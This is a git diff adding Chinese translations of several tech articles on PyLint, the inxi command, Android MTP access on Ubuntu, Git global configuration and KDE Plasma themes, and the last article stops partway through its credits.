ugly.md b/published/202210/20220919 PyLint- The good, the bad, and the ugly.md new file mode 100644 index 0000000000..0320ece742 --- /dev/null +++ b/published/202210/20220919 PyLint- The good, the bad, and the ugly.md @@ -0,0 +1,186 @@ +[#]: subject: "PyLint: The good, the bad, and the ugly" +[#]: via: "https://opensource.com/article/22/9/pylint-good-bad-ugly" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15144-1.html" + +PyLint 的优点、缺点和危险 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/16/093840z9pnzfv9ykfccoq9.jpg) + +> 充分利用 PyLint。 + +敲黑板:PyLint 实际上很好! + +“PyLint 可以拯救你的生命”,这是一句夸张的描述,但没有你想象的那么夸张。PyLint 可以让你远离非常难找到的和复杂的缺陷。最差的情况下,它只可以节省测试运行的时间。最好的情况下,它可以帮你避免生产环境中复杂的错误。 + +### 优点 + +我不好意思说这种情况是多么普遍。测试的命名总是*那么奇怪*:没有人关心这个名称,而且通常也找不到一个自然的名称。例如以下代码: + +``` +def test_add_small(): +    # Math, am I right? +    assert 1 + 1 == 3 +    +def test_add_large(): +    assert 5 + 6 == 11 +    +def test_add_small(): +    assert 1 + 10 == 11 +``` + +测试生效: + +``` +collected 2 items                                                                         +test.py .. +2 passed +``` + +但问题是:如果你覆盖了一个测试的名称,测试框架将愉快地跳过这个测试! + +实际上,这些文件可能有数百行,而添加新测试的人可能并不知道所有的名称。除非有人仔细查看测试输出,否则一切看起来都很好。 + +最糟糕的是,*被覆盖测试的添加*、*被覆盖测试造成的破坏*,以及*连锁反应的问题*可能要几天、几月甚至几年才能发现。 + +### PyLint 会找到它 + +就像一个好朋友一样,PyLint 可以帮助你。 + +``` +test.py:8:0: E0102: function already defined line 1 +     (function-redefined) +``` + +### 缺点 + +就像 90 年代的情景喜剧一样,你对 PyLint 了解的越多,问题就越多。以下是一个库存建模程序的常规代码: + +``` +"""Inventory abstractions""" + +import attrs + +@attrs.define +class Laptop: +    """A laptop""" +    ident: str +    cpu: str +``` + +但 PyLint 似乎有自己的观点(可能形成于 90 年代),并且不怕把它们作为事实陈述出来: + +``` +$ pylint laptop.py | sed -n '/^laptop/s/[^ ]*: //p' +R0903: Too few public methods (0/2) (too-few-public-methods) +``` + +### 危险 + +有没有想过在一个数百万人使用的工具中加入自己未证实的观点?PyLint 每月有 1200 万次下载。 + +> “如果太挑剔,人们会取消检查” — 这是 PyLint GitHub 的 6987 号议题,于 2022 年 7 月 3 号提出 + +对于添加一个可能有许多误报的测试,它的态度是 ... “*嗯*”。 + +### 让它为你工作 + +PyLint 很好,但你需要小心地与它配合。为了让 PyLint 为你工作,以下是我推荐的三件事: + +#### 1、固定版本 + +固定你使用的 PyLint 版本,避免任何惊喜! + +在你的 `.toml` 文件中定义: + +``` +[project.optional-dependencies] +pylint = ["pylint"] +``` + +在代码中定义: + +``` +from unittest import mock +``` + +这与以下代码对应: + +``` +# noxfile.py +... +@nox.session(python=VERSIONS[-1]) +def refresh_deps(session): +    """Refresh the requirements-*.txt files""" +    session.install("pip-tools") +    for deps in [..., "pylint"]: +        session.run( +            "pip-compile", +            "--extra", +            deps, +            "pyproject.toml", +            "--output-file", +            f"requirements-{deps}.txt", +        ) +``` + +#### 2、默认禁止 + +禁用所有检查,然后启用那些你认为误报比率高的。(不仅仅是漏报/误报的比率!) + +``` +# noxfile.py +... +@nox.session(python="3.10") +def lint(session): +    files = ["src/", "noxfile.py"] +    session.install("-r", "requirements-pylint.txt") +    session.install("-e", ".") +    session.run( +        "pylint", +        "--disable=all", +        *(f"--enable={checker}" for checker in checkers) +        "src", +    ) +``` + +#### 3、检查器 + +以下是我喜欢的检查器。加强项目的一致性,避免一些明显的错误。 + +``` +checkers = [ +    "missing-class-docstring", +    "missing-function-docstring", +    "missing-module-docstring", +    "function-redefined", +] +``` + +### 使用 PyLint + +你可以只使用 PyLint 好的部分。在 CI 中运行它以保持一致性,并使用常用检查器。 + +放弃不好的部分:默认禁止检查器。 + +避免危险的部分:固定版本以避免意外。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/pylint-good-bad-ugly + +作者:[Moshe Zadka][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/python_programming_question.png diff --git a/published/202210/20220920 3 ways to use the Linux inxi command.md b/published/202210/20220920 3 ways to use the Linux inxi command.md new file mode 100644 index 0000000000..b6d8e4e783 --- /dev/null +++ b/published/202210/20220920 3 ways to use the Linux inxi command.md @@ -0,0 +1,181 @@ +[#]: subject: "3 ways to use the Linux inxi command" +[#]: via: "https://opensource.com/article/22/9/linux-inxi-command" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15092-1.html" + +Linux inxi 命令的 3 种使用方法 +====== + +> 我在 Linux 上使用 inxi 来检查我的笔记本电脑电池、CPU 信息,甚至天气。 + +![Coding on a computer][1] + +当我在查询有关笔记本电脑电池健康状况的信息时,我偶然发现了 `inxi`。它是一个命令行系统信息工具,可提供有关你的 Linux 计算机(无论是笔记本电脑、台式机还是服务器)的大量信息。 + +`inxi` 命令采用 GPLv3 [许可证][2],许多 Linux 发行版都包含它。据它的 Git 存储库称:“inxi 努力支持最广泛的操作系统和硬件,从最简单的消费台式机到最先进的专业硬件和服务器。” + +文档很完善,并且该项目在线维护了完整的 [手册页][3]。安装后,你可以使用 `man inxi` 命令访问系统上的手册页。 + +### 在 Linux 上安装 inxi + +通常,你可以从发行版的软件仓库或应用中心安装 `inxi`。例如,在 Fedora、CentOS、Mageia 或类似发行版上: + +``` +$ sudo dnf install inxi +``` + +在 Debian、Elementary、Linux Mint 或类似发行版上: + +``` +$ sudo apt install inxi +``` + +你可以在 [此处][4] 找到有关 Linux 发行版安装选项的更多信息。 + +### 在 Linux 上使用 inxi 的 3 种方法 + +当你安装了 `inxi`,你可以探索它的所有选项。有许多选项可帮助你了解有关系统的更多信息。最基本的命令提供了系统的基本概览: + +``` +$ inxi -b +System: + Host: pop-os Kernel: 5.19.0-76051900-generic x86_64 bits: 64 + Desktop: GNOME 42.3.1 Distro: Pop!_OS 22.04 LTS +Machine: + Type: Laptop System: HP product: Dev One Notebook PC v: N/A + serial: + Mobo: HP model: 8A78 v: KBC Version 01.03 serial: + UEFI: Insyde v: F.05 date: 06/14/2022 +Battery: + ID-1: BATT charge: 50.6 Wh (96.9%) condition: 52.2/53.2 Wh (98.0%) +CPU: + Info: 8-core AMD Ryzen 7 PRO 5850U with Radeon Graphics [MT MCP] + speed (MHz): avg: 915 min/max: 400/4507 +Graphics: + Device-1: AMD Cezanne driver: amdgpu v: kernel + Device-2: Quanta HP HD Camera type: USB driver: uvcvideo + Display: x11 server: X.Org v: 1.21.1.3 driver: X: loaded: amdgpu,ati + unloaded: fbdev,modesetting,radeon,vesa gpu: amdgpu + resolution: 1920x1080~60Hz + OpenGL: + renderer: AMD RENOIR (LLVM 13.0.1 DRM 3.47 5.19.0-76051900-generic) + v: 4.6 Mesa 22.0.5 +Network: + Device-1: Realtek RTL8822CE 802.11ac PCIe Wireless Network Adapter + driver: rtw_8822ce +Drives: + Local Storage: total: 953.87 GiB used: 75.44 GiB (7.9%) +Info: + Processes: 347 Uptime: 15m Memory: 14.96 GiB used: 2.91 GiB (19.4%) + Shell: Bash inxi: 3.3.13 +``` + +### 1、显示电池状态 + +你可以使用 `-B` 选项检查电池健康状况。结果显示系统电池 ID、充电情况和其他信息: + +``` +$ inxi -B +Battery: +ID-1: BATT charge: 44.3 Wh (85.2%) condition: 52.0/53.2 Wh (97.7%) +``` + +### 2、显示 CPU 信息 + +使用 `-C` 选项了解有关 CPU 的更多信息: + +``` +$ inxi -C +CPU: + Info: 8-core model: AMD Ryzen 7 PRO 5850U with Radeon Graphics bits: 64 + type: MT MCP cache: L2: 4 MiB + Speed (MHz): avg: 400 min/max: 400/4507 cores: 1: 400 2: 400 3: 400 + 4: 400 5: 400 6: 400 7: 400 8: 400 9: 400 10: 400 11: 400 12: 400 13: 400 + 14: 400 15: 400 16: 400 +``` + +`inxi` 的输出默认使用彩色文本。你可以根据需要使用“颜色开关”进行更改以提高可读性。 + +命令选项是 `-c` 后跟 0 到 42 之间的任意数字以适合你的习惯。 + +``` +$ inxi -c 42 +``` + +以下是使用配色 5 和 7 的几个不同选项的示例: + +![inxi -c 5 command][5] + +该软件可以使用 Linux 系统中的传感器显示硬件温度、风扇速度和有关系统的其他信息。输入 `inxi -s` 并读取以下结果: + +![inxi -s][6] + +### 3、组合选项 + +如果支持,你可以组合 `inxi` 的选项以获得复杂的输出。例如,`inxi -S` 提供系统信息,`-v` 提供详细输出。将两者结合起来可以得到以下结果: + +``` +$ inxi -S +System: + Host: pop-os Kernel: 5.19.0-76051900-generic x86_64 bits: 64 + Desktop: GNOME 42.3.1 Distro: Pop!_OS 22.04 LTS + +$ inxi -Sv +CPU: 8-core AMD Ryzen 7 PRO 5850U with Radeon Graphics (-MT MCP-) +speed/min/max: 634/400/4507 MHz Kernel: 5.19.0-76051900-generic x86_64 +Up: 20m Mem: 3084.2/15318.5 MiB (20.1%) Storage: 953.87 GiB (7.9% used) +Procs: 346 Shell: Bash inxi: 3.3.13 +``` + +### 额外功能:查看天气 + +`inxi` 可以收集到的信息并不只有你的电脑。使用 `-w` 选项,你还可以获取你所在地区的天气信息: + +``` +$ inxi -w +Weather: + Report: temperature: 14 C (57 F) conditions: Clear sky + Locale: Wellington, G2, NZL + current time: Tue 30 Aug 2022 16:28:14 (Pacific/Auckland) + Source: WeatherBit.io +``` + +你可以通过指定你想要的城市和国家以及 `-W` 来获取世界其他地区的天气信息: + +``` +$ inxi -W rome,italy +Weather: + Report: temperature: 20 C (68 F) conditions: Clear sky + Locale: Rome, Italy current time: Tue 30 Aug 2022 06:29:52 + Source: WeatherBit.io +``` + +### 总结 + +有许多很棒的工具可以收集有关你的计算机的信息。我根据机器、桌面或我的心情使用不同的工具。你最喜欢的系统信息工具是什么? + +*图片来源:(Don Watkins,CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/linux-inxi-command + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/code_computer_laptop_hack_work.png +[2]: https://github.com/smxi/inxi/blob/master/LICENSE.txt +[3]: https://smxi.org/docs/inxi-man.htm +[4]: https://smxi.org/docs/inxi-installation.htm#inxi-repo-install +[5]: https://opensource.com/sites/default/files/2022-09/inxi-c5.png +[6]: https://opensource.com/sites/default/files/2022-09/inxi-s.png diff --git a/published/202210/20220921 How to Access Android Devices Internal Storage and SD Card in Ubuntu, Linux Mint using Media Transfer Protocol -MTP-.md b/published/202210/20220921 How to Access Android Devices Internal Storage and SD Card in Ubuntu, Linux Mint using Media Transfer Protocol -MTP-.md new file mode 100644 index 0000000000..538eda057a --- /dev/null +++ b/published/202210/20220921 How to Access Android Devices Internal Storage and SD Card in Ubuntu, Linux Mint using Media Transfer Protocol -MTP-.md @@ -0,0 +1,116 @@ +[#]: subject: "How to Access Android Devices Internal Storage and SD Card in Ubuntu, Linux Mint using Media Transfer Protocol (MTP)" +[#]: via: "https://www.debugpoint.com/how-to-access-android-devices-internal-storage-and-sd-card-in-ubuntu-linux-mint-using-media-transfer-protocol-mtp/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15097-1.html" + +如何在 Linux 中使用媒体传输协议访问安卓设备的内部存储和 SD 卡 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/165046qu9oddb5dk757z9e.jpg) + +> 本教程将展示如何在 Ubuntu 中使用 MTP 访问安卓设备以及如何访问 SD 卡内容。 + +MTP,即 [媒体传输协议][1]media transfer protocol,是图片传输协议的扩展,它在安卓 6.0(棉花糖)版本中实现。在更新了安卓 6.0 之后,你无法将安卓设备用作典型的大容量存储设备,以便让你直接插入并在文件管理器(例如 Thunar 或 GNOME Files)中查看内部存储内容和 SD 卡内容。这是由于操作系统无法确定 MTP 设备,而且还没有实现支持的设备列表。 + +### 在 Ubuntu、Linux Mint 中访问 Android 设备的步骤 + +使用以下命令为启用 MTP 的设备 [mtpfs][3] 安装 [libmtp][2] FUSE 文件系统: + +``` +sudo apt install go-mtpfs +sudo apt install libmtp +sudo apt install mtpfs mtp-tools +``` + +使用 USB 线缆将你的安卓设备插入 Ubuntu。 + +在你的安卓设备上,在主屏幕下拉,然后单击 “触摸获得更多选项Touch for more options
”。 + +在下面的菜单中,选择“传输文件(MTP)Transfer File (MTP)”选项: + +![MTP Option1][4] + +![MTP Option2][5] + +在终端中运行以下命令查找设备 ID 等。你可以在设备的命令输出中看到 `VID` 和 `PID`。记下这两个数字(在下图中高亮显示): + +``` +mtp-detect +``` + +![mtp-detect Command Output][6] + +使用以下命令使用文本编辑器打开安卓规则文件: + +``` +sudo gedit /etc/udev/rules.d/51-android.rules +``` + +如果你使用的是未安装 gedit 的最新 Ubuntu,请使用以下命令: + +``` +sudo gnome-text-editor /etc/udev/rules.d/51-android.rules +``` + +在 `51-android.rules` 文件中使用你设备的 VID 和 PID 输入以下行(你在上面的步骤中记下): + +``` +SUBSYSTEM=="usb", ATTR{idVendor}=="22b8", ATTR{idProduct}=="2e82", MODE="0666" +``` + +保存并关闭文件。 + +运行以下命令通过 [systemd][7] 重启设备管理器: + +``` +sudo service udev restart +``` + +### 访问内容的后续步骤 + +接下来的步骤主要用于访问你的 Android 设备的外部 SD 卡的内容。 + +我必须这样做,因为文件管理器没有显示 SD 卡的内容。不过,这不是一个解决方案,但它是一种临时方案,根据这个 [Google 论坛帖子][8],它适用于大多数用户,并且适用于我的带有闪迪 SD 卡的摩托罗拉 G 2nd Gen: + +* 在 Ubuntu 中安全删除你连接的设备。 +* 关闭设备。从设备中取出 SD 卡。 +* 在没有 SD 卡的情况下打开设备。 +* 再次关闭设备。 +* 将 SD 卡重新插入并再次打开设备。 + +重启你的 Ubuntu 机器并插入你的安卓设备。 + +现在你可以看到你的安卓设备的内部存储和 SD 卡的内容。 + +![MTP Device Contents in Ubuntu][9] + +### 总结 + +上述在 Ubuntu 中访问安卓设备内容的教程在旧版和新版 Ubuntu 中的安卓设备(三星、一加和摩托罗拉)上都可以使用。如果你在访问内容时遇到困难,可以试试这些步骤,它可能会起作用。在我看来,MTP 与老式的即插即用方案相比非常慢。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/how-to-access-android-devices-internal-storage-and-sd-card-in-ubuntu-linux-mint-using-media-transfer-protocol-mtp/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://en.wikipedia.org/wiki/Media_Transfer_Protocol +[2]: https://sourceforge.net/projects/libmtp/ +[3]: https://launchpad.net/ubuntu/+source/mtpfs +[4]: https://www.debugpoint.com/wp-content/uploads/2016/03/MTP-Option1.png +[5]: https://www.debugpoint.com/wp-content/uploads/2016/03/MTP-Option2.png +[6]: https://www.debugpoint.com/wp-content/uploads/2016/03/mtp-detect.png +[7]: https://www.debugpoint.com/systemd-systemctl-service/ +[8]: https://productforums.google.com/forum/#!topic/nexus/11d21gbWyQo;context-place=topicsearchin/nexus/category$3Aconnecting-to-networks-and-devices%7Csort:relevance%7Cspell:false +[9]: https://www.debugpoint.com/wp-content/uploads/2016/03/MTP-Device-Contents-in-Ubuntu.png diff --git a/published/202210/20220922 5 Git configurations I make on Linux.md b/published/202210/20220922 5 Git configurations I make on Linux.md new file mode 100644 index 0000000000..2e27d30261 --- /dev/null +++ b/published/202210/20220922 5 Git configurations I make on Linux.md @@ -0,0 +1,172 @@ +[#]: subject: "5 Git configurations I make on Linux" +[#]: via: "https://opensource.com/article/22/9/git-configuration-linux" +[#]: author: "Alan Formy-Duval https://opensource.com/users/alanfdoss" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15130-1.html" + +我在 Linux 中使用的 5 个 Git 配置 +====== + +> 这份简要指南能够帮助你快速开始使用 Git,以及配置一些选项。 + +![](https://img.linux.net.cn/data/attachment/album/202210/11/162338c314ls57bg51hd45.jpg) + +在 Linux 中设置 Git 十分简单,但为了获得完美的配置,我做了以下五件事: + +1. 创建全局配置 +2. 设置默认名称 +3. 设置默认邮箱地址 +4. 设置默认分支名称 +5. 设置默认编辑器 + +我使用 Git 管理我的代码、命令行脚本以及文档版本。这意味着每次我开始一项新的任务,首先我需要创建一个文件目录并将其添加到 Git 库中: + +``` +$ mkdir newproject +$ cd newproject +$ git init +``` + +有一些我一直想要的常规设置。不多,但可以避免我每次都进行配置。我喜欢利用 Git 的 *全局* 配置功能。 + +Git 提供了进行手动配置的 `git config` 命令,但这有一些注意事项。例如,通常你会设置邮箱地址。你可以通过运行 `git config user.email 你的邮件地址` 命令进行设置。然而,这只会在你当前所在的 Git 目录下起作用。 + +``` +$ git config user.email alan@opensource.com +fatal: not in a git directory +``` + +此外,当这个命令在 Git 仓库中运行时,它只会配置特定的一个仓库。在新的仓库中,你不得不重复这个步骤。我可以通过全局配置来避免重复。选项 `--global` 会指示 Git 将邮箱地址写入全局配置 `~/.gitconfig` 文件中,甚至在必要时会创建它: + +> 请记住,波浪线(`~`)代表你的主文件夹。在我的电脑中它是 `/home/alan`。 + +``` +$ git config --global user.email alan@opensource.com +$ cat ~/.gitconfig +[user] +        email = alan@opensource.com +``` + +这里的缺点是,如果你有大量偏好设置,需要输入很多命令,这将花费大量时间并且很容易出错。Git 提供了更加快捷有效的方式,可以直接编辑你的全局配置文件——这是我列表中的第一项! + +### 1、创建全局配置 + +如果你刚开始使用 Git,或许你还没有该文件。不用担心,让我们直接开始。只需要用 `--edit` 选项: + +``` +$ git config --global --edit +``` + +如果没有该文件,Git 将会创建一个包含以下内容的新文件,并使用你终端的默认编辑器打开它: + +``` +# This is Git's per-user configuration file. +[user] +# Please adapt and uncomment the following lines: +#       name = Alan +#       email = alan@hopper +~ +~ +~ +"~/.gitconfig" 5L, 155B                                     1,1           All +``` + +现在我们已经打开了编辑器,并且 Git 已经在后台创建了全局配置文件,我们可以继续接下来的设置。 + +### 2、设置默认名称 + +名字是该文件中的首要条目,让我们先从它开始。用命令行设置我的名称是 `git config --global user.name "Alan Formy-Duval"`。不用在命令行中运行该命令,只需要在配置文件中编辑 `name` 条目就行: + +``` +name = Alan Formy-Duval +``` + +### 3、设置默认邮箱地址 + +邮箱地址是第二个条目,让我们添加它。默认情况下,Git 使用你的系统提供的名称和邮箱地址。如果不正确或者你想要更改,你可以在配置文件中具体说明。事实上,如果你没有配置这些,Git 在你第一次提交时会友好的提示你: + +``` +Committer: Alan +Your name and email address were configured automatically based +on your username and hostname. Please check that they are accurate.... +``` + +在命令行中运行 `git config --global user.email "alan@opensource.com"` 会设置好我的邮箱。同样,我们在配置文件中编辑 `email` 条目,提供你的邮箱地址: + +``` +email = alan@opensource.com +``` + +我喜欢设置的最后两个设置是默认分支名称和默认编辑器。当你仍在编辑器中时,需要添加这些指令。 + +### 4、设置默认分支名称 + +目前有一种趋势,即不再使用 `master` 作为默认分支名称。事实上,在新存储库初始化时,Git 将通过友好的消息提示更改默认分支名称: + +``` +$ git init +hint: Using 'master' as the name for the initial branch. This default branch name +hint: is subject to change. To configure the initial branch name to use in all +hint: of your new repositories, which will suppress this warning, call: +hint: +hint:   git config --global init.defaultBranch +``` + +这个名为 `defaultBranch` 的指令需要位于一个名为 `init` 的新部分中。现在普遍接受的是,许多程序员使用 `main` 这个词作为他们的默认分支。这是我喜欢使用的。将此部分后跟指令添加到配置中: + +``` +[init] +            defaultBranch = main +``` + +### 5、设置默认编辑器 + +第五个设置是设置默认的编辑器。这是指 Git 将使用的编辑器,用于在你每次将更改提交到存储库时输入你的提交消息。不论是 [nano][8]、[emacs][9]、[vi][10] 还是其他编辑器,每个人都有他喜欢的。我喜欢用 vi。添加 `core` 部分,并设置 `editor` 指令为你喜欢的编辑器。 + +``` +[core] +            editor = vi +``` + +这是最后一项。退出编辑器。Git 在主目录下保存全局配置文件。如果你再次运行编辑命令,将会看到所有内容。注意配置文件是明文存储的文本文件,因此它可以很容易使用文本工具查看,如 [cat][11] 命令。这是我的配置文件内容: + +``` +$ cat ~/.gitconfig +[user] +        email = alan@opensource.com +        name = Alan Formy-Duval +[core] +        editor = vi +[init] +        defaultBranch = main +``` + +这是一个简单的指南,可以让你快速开始使用 Git 和它的一些配置选项。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/git-configuration-linux + +作者:[Alan Formy-Duval][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alanfdoss +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/linux_keyboard_desktop.png +[2]: https://opensource.com/article/22/9/git-configuration-linux#create-global-configuration +[3]: https://opensource.com/article/22/9/git-configuration-linux#set-default-name +[4]: https://opensource.com/article/22/9/git-configuration-linux#set-default-email-address +[5]: https://opensource.com/article/22/9/git-configuration-linux#set-default-branch-name +[6]: https://opensource.com/article/22/9/git-configuration-linux#set-default-editor +[7]: https://opensource.com/mailto:alan@opensource.com +[8]: https://opensource.com/article/20/12/gnu-nano +[9]: https://opensource.com/resources/what-emacs +[10]: https://opensource.com/article/19/3/getting-started-vim +[11]: https://opensource.com/article/19/2/getting-started-cat-command diff --git a/published/202210/20220923 11 Gorgeous KDE Plasma Themes to Make Your Linux Desktop Even More Beautiful.md b/published/202210/20220923 11 Gorgeous KDE Plasma Themes to Make Your Linux Desktop Even More Beautiful.md new file mode 100644 index 0000000000..531ae437f8 --- /dev/null +++ b/published/202210/20220923 11 Gorgeous KDE Plasma Themes to Make Your Linux Desktop Even More Beautiful.md @@ -0,0 +1,229 @@ +[#]: subject: "11 Gorgeous KDE Plasma Themes to Make Your Linux Desktop Even More Beautiful" +[#]: via: "https://itsfoss.com/best-kde-plasma-themes/" +[#]: author: "sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "vvvbbbcz" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15102-1.html" + +11 个让你的 Linux 桌面更好看的 KDE Plasma 主题 +====== + +KDE Plasma 桌面的一个强大的特性就是它 [巨大的自定义潜力][1]。 + +提到自定义,改变主题或许是最普遍最直观的方式。 + +不是说默认的 Breeze 主题不好看。只是你的 Plasma 桌面可以通过新的主题和图标得到截然不同的外观。 + +![KDE Plasma 默认的 Breeze 主题][2] + +让我来帮助你。我将分享一些好看的 KDE Plasma 主题,你可以从中选择。我还会在文末展示安装主题的步骤。 + +### 最佳的 KDE Plasma 主题 + +请注意,这不是主题的排行榜。也就是说,排在第三位的主题不一定比第七位或第八位更好。 + +### 1、Sweet + +Sweet 是目前最受欢迎的 KDE 主题之一。这个仅提供了深色模式的主题,可以为你的系统带来华丽的外观。 + +![Sweet 主题][3] + +它可以**通过 KDE 系统设置安装**。它还提供了配套的图标,叫做 “Candy Icons”,如果你通过 KDE 系统设置安装,这套图标将会被自动安装。 + +> **[Sweet 主题][4]** + +### 2、Materia KDE + +Materia 是另一个被很多桌面用户喜欢的主题,拥有光洁和优雅的外观。它有三个版本:Materia、Materia Light 和 Materia Dark。 + +![Materia Dark][5] + +Materia Light 是一个纯白色的主题,Materia Dark 提供了一个完整的深色外观。而 Materia 则是黑色和白色的融合。 + +它也**可以通过 KDE 系统设置安装**。 + +> **[Materia KDE][6]** + +### 3、Nordic + +Nordic 主题在深色主题爱好者中单独拥有一群粉丝。它是围绕 Nord 色系创作的,看起来既舒服又优雅。 + +![Nordic KDE][7] + +它与 Sweet 主题是 [同一个开发者][8],可以**通过 KDE 系统设置安装**。 + +> **[Nordic][9]** + +### 4、WhiteSur + +WhiteSur 是一个由 Vinceliuice 开发,面向 MacOS 主题爱好者的主题。它实现了与 MacOS 外观的高相似度,而且可以通过 KDE 面板、Latte Dock 等功能做到更高的相似度。 + +![WhiteSur][10] + +它还提供了一套图标,使它看起来更具美感。这个受欢迎的主题还提供了深色和浅色两个版本。 + +> **[WhiteSur][11]** + +### 5、Layan + +Layan 主题有浅色和深色两个版本。这是其中之一,它提供了圆角,看起来整洁而美观。 + +![Layan][12] + +Layan 使用 Tela Circle 图标,**可以通过 KDE 系统设置安装**。 + +> **[Layan][13]** + +### 6、Qogir + +这个主题有浅色和深色两个版本,是一个极简的主题,让你的系统看起来整洁而炫酷。 + +![Qogir][14] + +它与 Budgie 桌面有相似的外观。你可以**从 KDE 系统设置**轻易地安装 Qogir 主题和它的配套图标。 + +> **[Qogir][15]** + +### 7、Fluent Round + +如果你是 Windows 11 系统的粉丝,这个主题可以创造出 Windows 11 的外观和感觉。抛开这种相似性,Fluent 主题也是一个不错的主题,有浅色和深色两个版本。 + +![Fluent KDE 主题][16] + +它为你的系统提供了一个光洁的外观,同时还有一套配套的深色和浅色图标。 + +> **[Fluent Round][17]** + +### 8、Orchis + +Orchis 在 GNOME GTK 主题设计中相当流行,亦可用于 KDE。Orchis 有浅色和深色两种颜色。如果你**通过 KDE 系统设置安装**,Tela Icon 这套图标也会被安装,你可以随时从系统设置中更改。 + +![Orchis KDE Theme][18] + +和 GNOME 一样,这个以 Material 风格为灵感的主题提高了桌面的美观度。 + +> **[Orchis][19]** + +### 9、Iridescent Round + +如果你是赛博朋克主题或未来主义主题的粉丝,这个主题将是一个不错的选择。它的默认壁纸**可以通过 KDE 系统设置安装**,这个壁纸看起来很有艺术感,给你的桌面增添了宅男的气息。 + +![Iridescent Round][20] + +如果与一些炫酷的 Plasma 组件和图标一起使用,它可以创造一种别致的视觉享受。 + +> **[Iridescent Round][21]** + +### 10、Nova Papilio + +这是一个圆润的,以紫色为主的浅色主题。如果你喜欢浅色主题和大圆角,这个主题将会为你带来视觉上的愉悦。 + +![Nova Papilio][22] + +这个主题可以**从 KDE 系统设置安装**。 + +> **[Nova Papilio][23]** + +### 11、WinSur Dark + +顾名思义,它有来自 Windows 和 MacOS 主题的某些视觉元素。 + +![Winsur Dark][24] + +这个主题有浅色和深色版本,你可以**在 KDE 系统设置**中找到它。这个主题有圆角和光洁的外观。但根据我的个人体验,它可能会使小显示器上的显示略显拥挤。 + +> **[WinSur Dark][25]** + +#### 值得提及的一些事情 + +在像 KDE Plasma 这样的桌面环境下,列出主题可能是一项艰巨的任务,因为有大量的主题可供选择。以上的清单仅是为不想花太多时间寻找好看主题的人提供的一个参考。 + +在这个名单之外,也有一些主题,例如 [Ant-Dark][26]、[Aritim Dark][27]、[Dracula][28] 等,也能为用户提供不错的视觉体验。 + +### 如何使用这些主题 + +提到这些主题,有几种可以给你的 KDE Plasma 桌面安装主题的方法。你可以在下面找到这些方法的简要说明。它与 [在 GNOME 上安装主题][29] 有点不同。 + +#### 从设置安装主题 + +这是最常见也是最简单的方法。打开 KDE 设置Settings。选择“外观Appearance”,点击“全局主题Global Themes”。然后,你可以通过点击如下图所示的按钮搜索主题。 + +![从 KDE 系统设置中下载新的全局主题][30] + +你将得到一个全面的主题列表。在这里,你可以查看排序的结果。当你找到了一个合适的主题,点击它并按下安装按钮即可。 + +![在 KDE 系统设置中的可用主题的列表][31] + +在大多数情况下,这将同时应用相应的主题和图标。 + +#### 从下载的主题文件中应用主题 + +某些情况下,你可能在网上找到了一些你感兴趣但 KDE 商店中并不包含的主题。在这种情况下,你需要下载并提取文件。随后,将下载的主题的全局主题文件夹放在 `~/.local/share/plasma/look-and-feel/` 下,将 Plasma 主题文件夹放在 `~/.local/share/plasma/desktoptheme/` 下。 + +![在文件管理器中的 KDE Plasma 主题文件夹][32] + +现在,打开设置,你将看到你安装的主题已经可以在“外观Appearance”中找到。 + +#### 通过软件包管理器安装主题 + +采用这种方法的不多。有一些主题,它们出现在你使用的发行版的官方仓库中。你可以通过你的软件包管理器搜索并安装它们。例如,你可以在 Ubuntu 下通过运行以下命令安装 Materia-KDE 主题: + +``` +sudo apt install materia-kde +``` + +如上文所述,这种方法只能安装有限的几个主题,而且随发行版的不同而不同。在安装后,你可以在 系统设置System Settings > 外观Appearance 中更改主题。 + +### 结语 + +综上,我列出了我最喜爱的 KDE Plasma 主题。我也展示了更改主题的方法。 + +你在这里找到了感兴趣的主题了吗?你有一些其他喜欢的,想和我们在评论区分享的 KDE 主题吗? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-kde-plasma-themes/ + 